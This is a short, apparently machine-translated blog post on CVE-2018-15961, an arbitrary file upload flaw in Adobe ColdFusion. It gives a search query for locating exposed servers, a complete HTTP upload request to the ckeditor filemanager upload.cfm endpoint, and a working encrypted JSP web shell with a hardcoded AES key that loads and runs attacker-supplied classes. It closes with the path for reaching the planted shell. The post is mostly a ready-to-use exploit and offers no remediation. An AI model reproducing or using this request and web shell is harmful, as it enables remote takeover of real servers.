Post

Adobe Coldfusion Upload Cfm Arbitrary File Upload Vulnerability Cve 2018 15961

Adobe Coldfusion Upload Cfm Arbitrary File Upload Vulnerability Cve 2018 15961

Adobe ColdFusion upload.cfm Any file upload vulnerability CVE-2018-15961

Vulnerability Description

Adobe ColdFusion has a vulnerability to upload any file. Through the vulnerability attacker, he can upload any file to control the server.

Vulnerability Impact

Adobe ColdFusion

Network surveying and mapping

app=”Adobe-ColdFusion”

Vulnerability reappears

Product official website

img

Send data packets to upload any file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1
Host: 
User-Agent: Go-http-client/1.1
Content-Length: 918
Content-Type: multipart/form-data; boundary=e9fb732e96144291860c4d742145cdabf98a4ec5cbe2a91aec6dc17461a0
Accept-Encoding: gzip

--e9fb732e96144291860c4d742145cdabf98a4ec5cbe2a91aec6dc17461a0
Content-Disposition: form-data; name="file"; filename="b79f4282c451e975c357d9616acea7ba.jsp"
Content-Type: application/octet-stream

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
--e9fb732e96144291860c4d742145cdabf98a4ec5cbe2a91aec6dc17461a0
Content-Disposition: form-data; name="path"

path
--e9fb732e96144291860c4d742145cdabf98a4ec5cbe2a91aec6dc17461a0--

img

Access path again /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp

img

This post is licensed under CC BY 4.0 by the author.